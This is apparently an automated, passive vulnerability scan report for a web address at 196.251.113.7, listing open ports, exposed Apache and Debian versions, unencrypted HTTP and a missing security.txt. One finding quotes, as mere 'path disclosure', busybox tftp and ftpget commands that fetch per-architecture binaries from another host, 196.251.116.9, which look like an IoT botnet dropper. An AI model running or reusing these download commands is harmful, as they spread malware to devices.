Vulnerability Scan Result

Target:

http://196.251.113.7/ipc

Scanned target: http://196.251.113.7/ipc

Submitted: Jul 17, 2025 from MA

Public Scan

Scan mode: Passive (non-intrusive)

Summary

medium

Info

Low

Medium

High

Critical

Screenshot

Title:	No title found
Description:	No description found

IP Information

ip_address	196.251.113.7
country	NL
network_name	Xneelo Ltd
asn	AS37153

Open Ports

22/tcp	ssh	OpenSSH 8.4p1 Debian 5+deb11u1
80/tcp	http	Apache httpd 2.4.62
111/tcp	rpcbind	- 2-4

Web Technologies

Software / Version	Category
Debian	Operating systems
Apache HTTP Server 2.4.62	Web servers

Web Application Vulnerabilities

Evidence

URL	Response URL	Evidence
http://196.251.113.7/ipc	http://196.251.113.7/ipc	Communication is made over unsecure, unencrypted HTTP.

Vulnerability description

We noticed that the communication between the web browser and the server is done using the HTTP protocol, which transmits data unencrypted over the network.

Risk description

The risk is that an attacker who manages to intercept the communication at the network level can read and modify the data transmitted (including passwords, secret tokens, credit card information and other sensitive data).

Recommendation

We recommend you to reconfigure the web server to use HTTPS - which encrypts the communication between the web browser and the server.

Classification

CWE	CWE-311
OWASP Top 10 - 2017
OWASP Top 10 - 2021

Evidence

Software / Version	Category
Debian	Operating systems
Apache HTTP Server 2.4.62	Web servers

Vulnerability description

We noticed that server software and technology details are exposed, potentially aiding attackers in tailoring specific exploits against identified systems and versions.

Risk description

The risk is that an attacker could use this information to mount specific attacks against the identified software type and version.

Recommendation

We recommend you to eliminate the information which permits the identification of software platform, technology, server and operating system: HTTP server headers, HTML meta information, etc.

Evidence

URL	Method	Summary
http://196.251.113.7/ipc	OPTIONS	We did a HTTP OPTIONS request. The server responded with a 200 status code and the header: `Allow: GET,POST,OPTIONS,HEAD` Request / Response

Vulnerability description

We have noticed that the webserver responded with an Allow HTTP header when an OPTIONS HTTP request was sent. This method responds to requests by providing information about the methods available for the target resource.

Risk description

The only risk this might present nowadays is revealing debug HTTP methods that can be used on the server. This can present a danger if any of those methods can lead to sensitive information, like authentication information, secret keys.

Recommendation

We recommend that you check for unused HTTP methods or even better, disable the OPTIONS method. This can be done using your webserver configuration.

Classification

CWE	CWE-16
OWASP Top 10 - 2017
OWASP Top 10 - 2021

Evidence

URL	Method	Parameters	Evidence
http://196.251.113.7/ipc	GET	Headers: User-Agent=Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36	Operating system paths found in the HTTP response: `/bin/busybox tftp -g -r arm4/196.251.116.9/z` `/var/run` `/bin/busybox tftp -g -r arm6/196.251.116.9/z` `/bin/busybox tftp -g -r mips/196.251.116.9/z` `/bin/busybox tftp -g -r arm7/196.251.116.9/z` `/bin/busybox tftp -g -r x86_64/196.251.116.9/z` `/bin/busybox ftpget/196.251.116.9/z` `/bin/busybox tftp -g -r arm5/196.251.116.9/z` `/bin/busybox tftp -g -r mpsl/196.251.116.9/z`

Vulnerability description

We found operating system paths returned in a HTTP response.

Risk description

The risk is that path disclosure may help an attacker learn more about the remote server's file system, thus increasing the effectiveness and precision of any future attacks.

Recommendation

Configure the web server to avoid leaking path information by using generic error messages that do not reveal any internal file paths. Make sure no server file is referred with its absolute path in the website code.

Classification

CWE	CWE-200
OWASP Top 10 - 2017
OWASP Top 10 - 2021

Evidence

URL
Missing: http://196.251.113.7/.well-known/security.txt

Vulnerability description

We have noticed that the server is missing the security.txt file, which is considered a good practice for web security. It provides a standardized way for security researchers and the public to report security vulnerabilities or concerns by outlining the preferred method of contact and reporting procedures.

Risk description

There is no particular risk in not having a security.txt file for your server. However, this file is important because it offers a designated channel for reporting vulnerabilities and security issues.

Recommendation

We recommend you to implement the security.txt file according to the standard, in order to allow researchers or users report any security issues they find, improving the defensive mechanisms of your server.

Infrastructure Vulnerabilities

Evidence

Software / Version	Category
Debian	Operating systems
Apache HTTP Server 2.4.62	Web servers

Vulnerability description

We noticed that server software and technology details are exposed, potentially aiding attackers in tailoring specific exploits against identified systems and versions.

Risk description

The risk is that an attacker could use this information to mount specific attacks against the identified software type and version.

Recommendation

We recommend you to eliminate the information which permits the identification of software platform, technology, server and operating system: HTTP server headers, HTML meta information, etc.